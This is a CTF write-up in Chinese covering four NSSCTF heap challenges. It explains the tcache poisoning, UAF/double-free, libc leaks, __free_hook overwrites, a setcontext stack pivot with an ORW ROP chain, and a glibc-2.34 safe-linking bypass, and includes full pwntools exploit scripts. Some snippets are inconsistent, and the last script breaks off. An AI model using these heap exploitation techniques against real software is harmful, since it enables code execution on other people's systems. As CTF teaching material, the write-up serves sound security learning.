NSSCTF[堆][tcache]

news2024/11/15 6:55:28

1. [CISCN 2021 初赛]lonelywolf

题目地址:[CISCN 2021 初赛]lonelywolf | NSSCTF

思路:

  1. 修开tcache结构,伪造一个0x91的chunk,伪造0x91chunk的数量(填满tcache),再将其释放free进入unsortedbin来泄漏main_arena地址。

    image-20240712160527756

题目分析:

  1. 只能控制一个堆index只能位0,add函数,限制了不能申请大小为0x90的chunk:

    image-20240712174415106

  2. delete函数,heap指针没有清0,存在double free:

    image-20240712174547228

  3. edit函数,结合free函数,存在UAF漏洞,释放chunk后还能往里面写参数(可以修改next的值):

    image-20240712174638950

  4. show函数,同样存在UAF漏洞,可以打印释放后的chunk中的内容:

    image-20240712174751510

利用:

  1. 先申请一个大小为0x80的chunk,再double free泄漏tcache的基地址:

    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)	#绕过double free的检查
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    

    image-20240712175402058

  2. 修改chunk0x80的next指针,指向tcache+0x10的位置,然后两个申请得到tcache chunk0x251:

    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    

    image-20240712175720770

  3. 伪造0x90chunk的数量,伪造0x80chunk的next地址指向tcache+0x260(后续用来伪装成0x90chunk),伪造0x70的next地址指向tcache+0x250(0x80的上面)(后续用来更改0x80chunk的size字段值):

    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    

    image-20240712180651608

  4. 修改上面0x80chunk的size字段为0x91(伪造0x90大小的chunk),再申请一个小chunk将伪造的0x90chunk与topchunk隔开

    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x31)) #由于前面申请的0x40chunk会在伪造的0x90chunk的数据域内部,所以在后面额外加上0x41的数据域大小
    

    不加 edit(b’\x00’*0x8+p64(0x31)):(必须是0x40+0x30或者0x30+0x20,不然会报错)

    image-20240712181413019

    加上 edit(b’\x00’*0x8+p64(0x31)):

    image-20240712181629240

  5. 申请0x80chunk(实际上申请的时0x90chunk),然后释放活得main_arena中的地址:

    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    free()
    show()
    
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    

    image-20240712182011615

  6. 再申请0x40的chunk,释放后修改其next指针指向**__free_hook-0x8**地址(因为tcache在申请时不检查size字段,所以不用看__free_hook-0x8前面的size字段值):

    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x28)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    

    image-20240712182813509

  7. 两次申请后得到该地址,再向该地址写入 b"/bin/sh\x00"+p64(system_addr),最后free执行system(“/bi/sh”):

    add(0x28)
    add(0x28)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    free()
    
  8. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node4.anna.nssctf.cn",28516)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
    elf = ELF("./pwn")
    
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    
    
    def add(size):
        sla(b'choice:',b'1')
        sla(b':',str(0))
        sla(b':',str(size))
    
    def edit(content):
        sla(b':',b'2')
        sla(b':',b'0')
        sla(b':',content)
    
    def show():
        p.sendlineafter(b':',b'3')
        p.sendlineafter(b':',b"0")
    
    def free():
        sla(b': ',b'4')
        sla(b': ',b'0')
    
    # 泄漏tcache的基地址
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    show()
    
    p.recvuntil(b"Content: ")
    tcache = (u64(p.recv(6).ljust(8,b'\x00'))&0xfffffffff000)
    success("tcache==>"+hex(tcache))
    
    # 修改tcachebin的next指针,指向tcache的基地址+0x10
    payload = p64(tcache+0x10)
    edit(payload)
    
    add(0x78) 
    add(0x78)   #申请得到tcache
    
    payload = b"\x00"*0x5+b'\x01'+b'\x01'+b"\x08"+p64(0)*(7+4)+p64(tcache+0x250)*2+p64(tcache+0x260)
    edit(payload)
    
    add(0x68)   #0x70 修改0x80chunk的size字段
    payload = p64(0)+p64(0x91)+p64(0)
    edit(payload)
    
    add(0x38)   #将伪造的0x90chunk与TOP隔开
    edit(b'\x00'*0x8+p64(0x41))
    add(0x78)   #表面上申请0x80chunk,实际上申请的时0x90chunk
    
    free()
    show()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    add(0x38)
    free()
    payload = p64(free_hook_addr-8)
    edit(payload)
    
    add(0x38)
    add(0x38)
    payload = b'/bin/sh\x00'+p64(system_addr)
    edit(payload)
    
    free()
    p.sendline(b"cat flag")
    p.interactive()
    

    成功拿到本地flag:

    image-20240712183148198

2. [CISCN 2021 初赛]silverwolf

题目地址:[CISCN 2021 初赛]silverwolf | NSSCTF

相比于上一道题,这道题开了sanbox,不能直接使用system,需要在堆上构造ORW去读取flag。

思路:

  1. 利用UAF泄漏堆的基地址、泄漏libc:修改next,申请到tcache作为chunk,修改tcache struct,伪造bin的数量,利用unsortedbin泄漏libc。
  2. 再次利用UAF申请到tcache,修改tcache伪造堆的结构,便于后面写ORW。
  3. 将ORW写入到构造的堆上,free_hook覆盖为setcontext+53(利用mov rsp, [rdi+0A0h]指令,指令完成栈迁移),最后free完成栈迁移,迁移到写入ORW的堆上,输出flag。

分析:

  1. 函数都和上一题一样,seccomp限制了一些函数调用,用seccomp-tools工具查出,只能使用open,read,write三个,典型的ORW来读取、输出flag:

    在这里插入图片描述

    image-20240723174037984

利用:

  1. 由于调用seccomp函数,程序会产生一些无用的bin,先将其申请掉,便于后面构造:

    for i in range(7):
        add(0x78)
        edit(b"a")
    for i in range(7+4):
        add(0x68)
        edit(b"a")
    for i in range(7+5):
        add(0x18)
        edit(b"a")
    

    image-20240723174601470

    image-20240723174636358

  2. 先泄漏出堆的基地址,再利用基地址修改next指针:

    # 泄漏堆地址
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    show()
    p.recvuntil(b"Content: ")
    heap_addr = (u64(p.recv(6)[-6:].ljust(8,b'\x00'))&0xfffffffff000)-0x1000	#堆申请好后,偏移都是固定的,gdb调试出偏移即可
    success("heap_addr==>"+hex(heap_addr))
    edit(p64(heap_addr+0x10))   #修改next指针,指向tcache
    

    image-20240723175002268

  3. 修改tcache,伪造0x90bin的数量,并利用0x80bin和0x70bin来达到释放0x90chunk的目的(伪造size字段):

    # 申请到tcache ,伪造tcache头,泄漏libc基地址
    change_size_addr = heap_addr+0x250
    free_chunk_addr  = heap_addr+0x260
    add(0x78)
    add(0x78)   #tcache chunk
    payload = b"\x00"*5 + b"\x02" + b"\x01" + b"\x07" + p64(0)*12 + p64(change_size_addr) + p64(free_chunk_addr)
    edit(payload)
    
    add(0x68)   #修改size大小
    edit(p64(0)+p64(0x91))
    
    add(0x28)
    edit(p64(0)+p64(0x21))  #保证寻址到topchunk
    add(0x78)   #释放0x91chunk
    free()
    show()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算__free_hook和system地址
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    setcontext_addr = libc_base + libc.sym["setcontext"] + 53
    success("free_hook_addr==>"+hex(free_hook_addr))
    success("setcontext_addr==>"+hex(setcontext_addr))
    

    image-20240723175357154

    image-20240723175528718

    image-20240723175649712

  4. 再次利用UAF修改next,申请到tcache,伪造tcache来构造堆,为写入ORW做准备:

    add(0x78)
    free()
    free()
    edit(p64(heap_addr+0x10))   #后续申请到tcache
    add(0x78)
    add(0x78)
    # 准备堆
    payload = b"\x02"*0x40		#bin的数量全部给2个,简单高效
    payload += p64(free_hook_addr) + p64(0)     #chunk20,用来修改free_hook chunk30没用
    #后面bin的地址随便选,保证未被使用即可,且chunk50与chunk60之间的偏移必须是0xa0、chunk70和chunk80之间的偏移必须是0x60
    payload += p64(heap_addr+0x1000)            #chunk40 存放flag名字
    payload += p64(heap_addr+0x2000)            #chunk50 作为free的chunk,0x2000+0xa0刚好寻址到下一个chunk中存放的地址
    payload += p64(heap_addr+0x2000+0xa0)       #chunk60 存放栈迁移后的地址
    payload += p64(heap_addr+0x3000)            #chunk70 ORW1
    payload += p64(heap_addr+0x3000+0x60)       #chunk80 ORW2,衔接上一个继续写,不能将chunk头空出来
    edit(payload)
    

    setcontext中利用的栈迁移指令,和leave;ret指令不一样(需要rbp寄存器中转一下),迁移的地址可以用rdi+0xa0寻址找到:

    image-20240723214730798

    当free掉chunk50时,chunk50的地址heap_addr+0x2000 (没有chunk头,free时的地址直接是data域)会给到rdi寄存器,此时free_hook会跳转到setcontext+53 ==> 利用rdi+0xa0寻址,取出该地址处(heap_addr+0x2000+0xa0)的值给rsp寄存器,作为新的栈,最后执行ret就会直接从该栈地址处再取出指令的地址执行,即取出我们构造的ORW指令的地址:

    image-20240723213418154

    image-20240723215208111

    image-20240723180958552

  5. 准备ORW并写入到堆上:

    # 准备ORW
    pop_rdi=libc_base+0x00000000000215bf
    pop_rdx=libc_base+0x0000000000001b96
    pop_rax=libc_base+0x0000000000043ae8
    pop_rsi=libc_base+0x0000000000023eea
    ret=libc_base+0x8aa
    open=libc.sym['open']+libc_base
    read=libc.sym['read']+libc_base
    write=libc.sym['write']+libc_base    
    # syscall = read_addr+15
    syscall = write_addr+18
    flag=heap_addr+0x1000   
    setcontext=libc.sym['setcontext']+libc_base+53  #prepare
    
    #open(0,flag) (open will delete environment)
    orw =p64(pop_rdi)+p64(flag)
    orw+=p64(pop_rsi)+p64(0)
    orw+=p64(pop_rax)+p64(2)	#传递open函数的系统编号
    orw+=p64(syscall)     #不能直接调用open函数,用 syscall
    
    #read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi)+p64(3)
    orw+=p64(pop_rsi)+p64(heap_addr+0x1010)#存放读取的flag
    orw+=p64(pop_rdx)+p64(0x30)
    orw+=p64(read)     
    
    #write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi)+p64(1)
    orw+=p64(pop_rsi)+p64(heap_addr+0x1010)#输出读取的flag地址
    orw+=p64(pop_rdx)+p64(0x30)
    orw+=p64(write)
    
    # 向堆上写入ORW
    add(0x38)
    edit(b"./flag\x00\x00")   #写入flag
    
    #堆上写入栈迁移的地址heap_addr+0x3000,迁移完成后在这里执行写好的指令
    add(0x58)
    edit(p64(heap_addr+0x3000)+p64(ret)) #加ret时为例平衡setcontext中的push指令
    
    #分两次向堆写入ORW
    add(0x68)
    edit(orw[:0x60])
    add(0x78)
    edit(orw[0x60:])
    
    #修改free_hook指向setcontext+53
    add(0x18)
    edit(p64(setcontext_addr))
    

    open函数直接使用syscall执行

    在这里插入图片描述

    image-20240723220126454

    image-20240723184652834

  6. 触发ORW,获取flag:

    #触发ORW
    add(0x48)
    free()
    p.interactive()
    

    image-20240723185011405

    完成EXP:

    from pwn import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        print(proc.pidof(p))
        pause()
    
    # p = remote("node4.anna.nssctf.cn",28809)
    p = process("./silverwolf")
    # p = gdb.debug("./pwn")
    libc = ELF('./libc-2.27.so')
    elf = ELF("./pwn")
    
    def add(size):
        p.sendlineafter(b'Your choice: ',b'1')
        p.sendlineafter(b'Index: ',str(0))
        p.sendlineafter(b':',str(size))
    
    def edit(content):
        p.sendlineafter(b'Your choice: ',b'2')
        p.sendlineafter(b'Index: ',b'0')
        p.sendlineafter(b':',content)
    
    def show():
        p.sendlineafter(b'Your choice: ',b'3')
        p.sendlineafter(b'Index: ',b"0")
    
    def free():
        p.sendlineafter(b'Your choice: ',b'4')
        p.sendlineafter(b'Index: ',b'0')
    
    for i in range(7):
        add(0x78)
        edit(b"a")
    for i in range(7+4):
        add(0x68)
        edit(b"a")
    for i in range(7+5):
        add(0x18)
        edit(b"a")
    
    # 泄漏堆地址
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    show()
    p.recvuntil(b"Content: ")
    heap_addr = (u64(p.recv(6)[-6:].ljust(8,b'\x00'))&0xfffffffff000)-0x1000
    success("heap_addr==>"+hex(heap_addr))
    edit(p64(heap_addr+0x10))   #修改next指针,指向tcache
    
    # 申请到tcache ,伪造tcache头,泄漏libc基地址
    change_size_addr = heap_addr+0x250
    free_chunk_addr  = heap_addr+0x260
    add(0x78)
    add(0x78)   #tcache chunk
    payload = b"\x00"*5 + b"\x02" + b"\x01" + b"\x07" + p64(0)*12 + p64(change_size_addr) + p64(free_chunk_addr)
    edit(payload)
    
    add(0x68)   #修改size大小
    edit(p64(0)+p64(0x91))
    
    add(0x28)
    edit(p64(0)+p64(0x21))  #保证寻址到topchunk
    add(0x78)   #释放0x91chunk
    free()
    show()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算__free_hook和system地址
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    setcontext_addr = libc_base + libc.sym["setcontext"] + 53
    success("free_hook_addr==>"+hex(free_hook_addr))
    success("setcontext_addr==>"+hex(setcontext_addr))
    
    
    # # 堆上的ORW,利用setcontext来构造ORW 
    #继续申请tcache作为chunk
    add(0x68)
    free()
    edit(p64(0)*2)
    free()
    edit(p64(heap_addr+0x80))   #后续申请到tcache
    add(0x68)
    add(0x68)   
    edit(p64(0))
    
    add(0x78)
    free()
    edit(p64(0)*2)
    free()
    edit(p64(heap_addr+0x10))   #后续申请到tcache
    add(0x78)
    add(0x78) 
    
    # 准备堆
    payload = b"\x02"*0x40
    payload += p64(free_hook_addr) + p64(0)     #chunk20,用来修改free_hook chunk30没用
    payload += p64(heap_addr+0x1000)            #chunk40 存放flag名字
    payload += p64(heap_addr+0x2000)            #chunk50 作为free的chunk,0x2000+0xa0刚好寻址到下一个chunk中存放的地址
    payload += p64(heap_addr+0x2000+0xa0)       #chunk60 存放栈迁移后的地址
    payload += p64(heap_addr+0x3000)            #chunk70 ORW1
    payload += p64(heap_addr+0x3000+0x60)       #chunk80 ORW2,衔接上一个继续写,不能将chunk头空出来
    edit(payload)
    
    # 准备ORW
    pop_rdi=libc_base+0x00000000000215bf
    pop_rdx=libc_base+0x0000000000001b96
    pop_rax=libc_base+0x0000000000043ae8
    pop_rsi=libc_base+0x0000000000023eea
    ret=libc_base+0x8aa
    open=libc.sym['open']+libc_base
    read=libc.sym['read']+libc_base
    write=libc.sym['write']+libc_base    
    syscall=read+15
    flag=heap_addr+0x1000   
    setcontext=libc.sym['setcontext']+libc_base+53  #prepare
    
    #open(0,flag) (open will delete environment)
    orw =p64(pop_rdi)+p64(flag)
    orw+=p64(pop_rsi)+p64(0)
    orw+=p64(pop_rax)+p64(2)
    orw+=p64(syscall)      
    
    #read(3,heap+0x1010,0x30) 
    orw+=p64(pop_rdi)+p64(3)
    orw+=p64(pop_rsi)+p64(heap_addr+0x1010)
    orw+=p64(pop_rdx)+p64(0x30)
    orw+=p64(read)     
    
    # #write(1,heap+0x1010,0x30)
    orw+=p64(pop_rdi)+p64(1)
    orw+=p64(pop_rsi)+p64(heap_addr+0x1010)#存放地址0x50
    orw+=p64(pop_rdx)+p64(0x30)
    orw+=p64(write)
    
    # 向堆上写入ORW
    add(0x38)
    edit(b"./flag\x00\x00")   #写入flag
    
    #写入堆上ORW的地址
    add(0x58)
    edit(p64(heap_addr+0x3000)+p64(ret)) #加ret时为例平衡setcontext中的push指令
    
    #分两次向堆写入ORW
    add(0x68)
    edit(orw[:0x60])
    add(0x78)
    edit(orw[0x60:])
    
    #修改free_hook
    add(0x18)
    edit(p64(setcontext_addr))
    
    success("heap_addr==>"+hex(heap_addr))
    debug()
    #触发ORW
    add(0x48)
    free()
    p.interactive()
    
    

    image-20240723185022572

  7. 如果不用syscall调用open,而是直接用open函数的地址会发生什么?发现执行到sys_openat直接报错退出

    image-20240723221841038

    但是在这里 将rax强制设置为2 后就能正常执行了,所以是前面程序中的seccomp将openat搬掉了 (或者说只允许系统调用0-read、1-write、2-open通过),直接查出来的open函数不能用,需要额外用系统调用编号2来调用:

    image-20240723222956731

    image-20240723222356807

    查系统调用的而网址:

    syscalls.w3challs.com

    image-20240723222554594

    image-20240723222654608

3. [HGAME 2023 week2]new_fast_note

题目地址:[HGAME 2023 week2]new_fast_note | NSSCTF

思路:

  1. 0x90chunk填满tcache后,再申请一个0x90chunk(进入unsortedbin),结合UAF获取main_arena中的地址==>进而获取libc地址。

  2. 用0x40chunk填满tcache后,再申请一个0x40的chunk(进入Fastbin),利用fastbin的double free来实现任意地址分配chunk(即任意地址写)。

  3. 因为题目没有edit,所以不能通过覆盖key字段(覆盖key为0),来实现tcache上的多次释放,只能通过填满tcache后才能free到fast bin或是unsorted bin。

  4. key字段如下:

    image-20240712221904850

分析:

  1. 只给了add、show、delete三个函数,没有编辑,所以泄漏基地址后,利用fastbin进行double free。先看add函数:

    heap个数不能超过 20,大小不能超过0xff(直接用0x90的chunk填满tcache后进入unsortedbin拿到mani_arena中的地址)。

    image-20240713123828723

  2. delete函数,heap指针未清零,存在UAF漏洞:

    image-20240713123958476

  3. 结合delete函数,明显存在UAF漏洞,拿到main_arena中的地址后,可以直接输出:

    image-20240713124100793

利用:

  1. 先用0x90chunk填满tcache,再多申请一个0x90chunk,释放后进入unsortedbin,拿到main_arena中的地址,进而计算出基地址:

    # 溢出进unsortedbin
    for i in range(8):
        add(0x80,i,b'a')
    for i in range(7):
        free(i)
    #隔开TOP chunk
    add(0x38,8,b'a')
    free(7)
    show(7)
    #泄漏main_arena中的地址
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    #计算__free_hook和system地址
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    

    image-20240713124652422

  2. 然后,利用0x40chunk填满tcache后,进入fastbin进行double free,实现任意地址分配chunk:

    # 溢出进unsortedbin
    for i in range(10):
        add(0x38,i,b'a')
    for i in range(9):
        free(i)
    # free(8)
    free(9)
    free(8)
    #在free_hook_addr-0x8处分配chunk
    payload = p64(free_hook_addr-0x8)
    for i in range(7):
        add(0x38,i,b'a')
    add(0x38,8,payload)
    

    image-20240713125228682

  3. 两次申请得到该chunk,后向其写入"/bin/sh"并用system地址覆盖__free_hook,最后free掉该chunk即可拿到shell:

    add(0x38,0,b'a')
    add(0x38,0,b'a')
    
    payload = b"/bin/sh\x00"+p64(system_addr)
    add(0x38,0,payload)
    free(0)
    p.sendline(b'cat flag')
    
  4. 完整EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node5.anna.nssctf.cn",22756)
    p = process("./pwn")
    libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
    def add(size,index,context):
        p.sendlineafter(b'>',b'1')
        p.sendlineafter(b':',str(index).encode())
        p.sendlineafter(b':',str(size).encode())
        p.sendlineafter(b':',context)
    
    def free(index):
        p.sendlineafter(b'>',b'2')
        p.sendlineafter(b':',str(index).encode())
    
    def show(index):
        p.sendlineafter(b'>',b'3')
        p.sendlineafter(b':',str(index).encode())
    
    # 溢出进unsortedbin
    for i in range(8):
        add(0x80,i,b'a')
    for i in range(7):
        free(i)
    add(0x38,8,b'a')
    free(7)
    show(7)
    #泄漏main_arena中的地址
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    
    #计算__free_hook和system地址
    system_addr = libc_base+libc.sym["system"]
    free_hook_addr = libc_base+libc.sym["__free_hook"]
    success("system_addr==>"+hex(system_addr))
    success("free_hook_addr==>"+hex(free_hook_addr))
    
    
    # 溢出进unsortedbin
    for i in range(10):
        add(0x38,i,b'a')
    for i in range(9):
        free(i)
    # free(8)
    free(9)
    free(8)
    #在free_hook_addr-0x8处分配chunk
    payload = p64(free_hook_addr-0x8)
    for i in range(7):
        add(0x38,i,b'a')
    add(0x38,8,payload)
    
    add(0x38,0,b'a')
    add(0x38,0,b'a')
    
    payload = b"/bin/sh\x00"+p64(system_addr)
    add(0x38,0,payload)
    free(0)
    p.sendline(b'cat flag')
    p.interactive()
    

    image-20240713125605048

4. [CISCN 2022 华东北]duck | NSSCTF

思路:高版本glibc,tcache回堆next指针加密

  1. tcache加密:(当前next指针地址>>>12)^(要指向的下一个chunk地址) , 第一个进入tcache的chunk下一个chunk地址为0。(注意进入tcache时链表采用的是头插法
  2. 利用UAF泄漏libc基地址,由于glibc2.34中取消了 maloc_hookfree_hook ,这两个符号。
  3. 所以只能采用 泄漏environ中存储的栈地址 ,然后任意分配chunk到栈上,构造ROP链,覆盖栈上的返回值。

分析:

  1. 题目给的libc版本是glibc-2.34,add函数添加指定大小的chunk0x110:

    image-20240715210018852

    image-20240715210112736

  2. delete函数中,堆指针没有清0,所以存在UAF漏洞:

    image-20240715210217871

  3. show函数,和edit函数结合delete函数,存在UAF利用:

    image-20240715210305328

    image-20240715210326138

  4. 可以看到漏洞给到额很明显,程序开了PIE保护,且无法泄漏程序的基地址,只能在泄漏libc基地址上下功夫,通过填满tcache,将chunk放入unsortedbin获取main_arena地址,进而获取libc基地址:

    image-20240715210423867

利用:

  1. 先填满tcache,利用UAF获取main_arena地址,计算出后续要使用的地址:

    • 由于glibc-2.34中没有 maloc_hookfree_hook 这两个符号,所以考虑泄漏environ上的栈地址,进而覆盖返回值挟持程序流程。
    • 由于程序加载的基地址无法得到,所以ROPgadget在程序中查普通的ROP不起作用,只能在泄漏完libc基地址后,在libc中search查找能拼凑的pop_rdi_ret片段地址
    • system的地址和str_bin_sh是ROP链必须的。
    # 溢出进unsortedbin,多申请一个,防止释放的chunk合并到TOP chunk
    for i in range(9):
        add()
    for i in range(7):
        free(i)
    # debug()
    #泄漏libc基地址
    free(7)
    show(7)
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = 0x1F2C60
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
     
    #计算pop_rdi_ret、system、bin_sh地址
    system_addr = libc_base+libc.sym["system"]
    sh_addr = libc_base + next(libc.search(b"/bin/sh"))
    environ_addr = libc_base+libc.sym["environ"]
    pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))
    success("system_addr==>"+hex(system_addr))
    success("environ_addr==>"+hex(environ_addr))
    success("bin_sh_addr==>"+hex(sh_addr))
    success("pop_rdi_ret==>"+hex(pop_rdi_ret))
    

    image-20240715211338249

  2. 修改tcache的next指针,实现任意地址分配chunk,但是由于glibc-2.34版本较高,tcache的next指针会有一个加密过程:(当前next指针地址>>>12)^(要指向的下一个chunk地址) , 第一个进入tcache的chunk下一个chunk地址为0。(注意进入tcache时链表采用的是头插法

    进入gdb调试:

    image-20240715212203926

    第一个进入tcache的chunk,由于tcache中的地址为0,所以仅为其本身的next地址右移12位:

    image-20240715212937853

    image-20240715213214241

    image-20240715213621262

    image-20240715212429808

    #获取"tcache基地址",后续修改next指针伪造chunk时使用
    show(0)
    p.recvuntil(b"\x0a")
    tcache_base = u64(p.recv(5).ljust(8,b"\x00"))
    success("tcache_base==>"+hex(tcache_base))
    
  3. 申请environ作为fake_chunk(这里申请的地址要以0x10对齐,最低位必须为0,是0x8就需要向上低地址调整),然后泄漏environ中存储的栈地址:

    #申请environ堆,泄漏其中的栈地址
    fake_addr = environ_addr
    payload6 = fd_glibc32(tcache_base,fake_addr)
    edit(6,payload6)
    
    #泄漏其中的栈地址
    add()   #9
    add()   #10
    show(10)
    p.recv()
    stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("stack_addr==>"+hex(stack_addr))
    

    image-20240715214544130

  4. 确定该泄漏的地址,与rbp寄存器的偏移,再申请该空间为fake_chunk地址,最后往该地址上写入数据(构造的ROP链):

    #任意分配栈上的chunk
    bp_addr = stack_addr-0x168      #不能直接到rbp的位置,要往前送0x10个字节
    success("bp_addr==>"+hex(bp_addr))
    free(9)
    fake_addr = bp_addr
    payload9 = fd_glibc32(tcache_base,fake_addr)
    edit(9,payload9)
    
    #申请到栈上的chunk,构造ROP链,并修改返回值
    add()   #11
    add()   #12
    payload12 = b"a"*8*3 + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)
    edit(12,payload12)
    

    image-20240715214719216

from pwn import *
# from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

def debug():
    print(proc.pidof(p))
    pause()

# p = remote("node4.anna.nssctf.cn",28836)
p = process("./pwn") 
libc = ELF('./libc.so.6')
elf = ELF("./pwn")


def add():
    p.sendlineafter(b':','1')
    # p.sendlineafter(b':',str(size))
    # p.sendlineafter(b':',content)

def edit(index,content):
    p.sendlineafter(b':',b'4')
    p.sendlineafter(b':',str(index).encode())
    p.sendlineafter(b':',str(len(content)).encode())
    p.sendafter(b':',content)

def show(index):
    p.sendlineafter(b':',b'3')
    p.sendlineafter(b':',str(index).encode())

def free(index):
    p.sendlineafter(b':','2')
    p.sendlineafter(b':',str(index).encode())

def fd_glibc32(tcache_base,target_addr):
    success("fake_addr==>"+hex(target_addr))
    payload = p64(tcache_base^(target_addr))
    return payload

# 溢出进unsortedbin
for i in range(9):
    add()
for i in range(7):
    free(i)
debug()
#泄漏libc基地址
free(7)
show(7)
p.recv()
addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
success("main_arena_unsortbin_addr==>"+hex(addr))
main_arena_offset = 0x1F2C60
success("main_arena_offset==>"+hex(main_arena_offset))
libc_base = addr-(main_arena_offset+0x60)
success("libc_addr==>"+hex(libc_base))
 
#计算__free_hook和system地址
system_addr = libc_base+libc.sym["system"]
sh_addr = libc_base + next(libc.search(b"/bin/sh"))
environ_addr = libc_base+libc.sym["environ"]
pop_rdi_ret = libc_base + next(libc.search(asm('pop rdi;ret;')))
success("system_addr==>"+hex(system_addr))
success("environ_addr==>"+hex(environ_addr))
success("bin_sh_addr==>"+hex(sh_addr))
success("pop_rdi_ret==>"+hex(pop_rdi_ret))

#获取tcache基地址
show(0)
p.recvuntil(b"\x0a")
tcache_base = u64(p.recv(5).ljust(8,b"\x00"))
success("tcache_base==>"+hex(tcache_base))

#申请environ堆,泄漏其中的栈地址
fake_addr = environ_addr
payload6 = fd_glibc32(tcache_base,fake_addr)
edit(6,payload6)

#泄漏其中的栈地址
add()   #9
add()   #10
show(10)
p.recv()
stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
success("stack_addr==>"+hex(stack_addr))

#任意分配栈上的chunk
bp_addr = stack_addr-0x168      #不能直接到rbp的位置,要往前送0x10个字节
success("bp_addr==>"+hex(bp_addr))
free(9)
fake_addr = bp_addr
payload9 = fd_glibc32(tcache_base,fake_addr)
edit(9,payload9)

#申请到栈上的chunk,构造ROP链,并修改返回值
add()   #11
add()   #12
